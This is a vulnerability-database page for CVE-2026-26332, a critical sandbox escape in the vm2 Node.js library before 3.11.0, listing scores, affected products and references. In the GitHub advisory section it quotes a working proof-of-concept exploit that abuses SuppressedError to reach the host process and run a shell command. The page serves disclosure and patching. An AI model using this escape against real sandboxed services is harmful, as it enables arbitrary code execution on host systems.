CVE-2026-26332
JSON

9.8critical

vm2: Sandbox Escape

Severity
9.8critical CVSS:3.1 by GitHub_M
Exploit likelihood
0.73% (higher than 55% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-55hx-c926-fr95

Description

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.

Affected

Product or packageVersionsReported by
patriksimek vm2< 3.11.0CVE List
rhdh/rhdh-hub-rhel9Not specifiedCVE List
ansible-automation-platform/automation-portalNot specifiedCVE List
vm2 (npm)before 3.11.0GitHub Advisory Database
vm2_project vm2before 3.11.0NVD

All scores

GitHub_M9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
redhat-SADP9.1critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
GitHub9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NVD10.0critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Classification

CWE-94CWE-653CWE-693

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.

GitHub Advisory Database

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC
const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);
NVD (es)

vm2 es una vm/sandbox de código abierto para Node.js. Antes de la versión 3.11.0, SuppressedError permite a los atacantes escapar de la sandbox y ejecutar código arbitrario. Este problema ha sido parcheado en la versión 3.11.0.

References

https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95exploit, vendor-advisory, web
https://github.com/patriksimek/vm2/releases/tag/v3.11.0release-notes, web
https://access.redhat.com/security/cve/CVE-2026-26332vdb-entry, web
https://bugzilla.redhat.com/show_bug.cgi?id=2466508issue-tracking, web
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26332.jsonweb
https://nvd.nist.gov/vuln/detail/CVE-2026-26332advisory
https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0web
https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913fweb
https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81caweb
https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7dweb
https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338web
https://github.com/patriksimek/vm2package

Sources

SourceRecordLicence
CVE ListCVE-2026-26332 changed 2026-07-15CVE Terms of Use
GitHub Advisory DatabaseGHSA-55hx-c926-fr95 changed 2026-11-04CC-BY-4.0
NVDCVE-2026-26332 changed 2026-10-26Public domain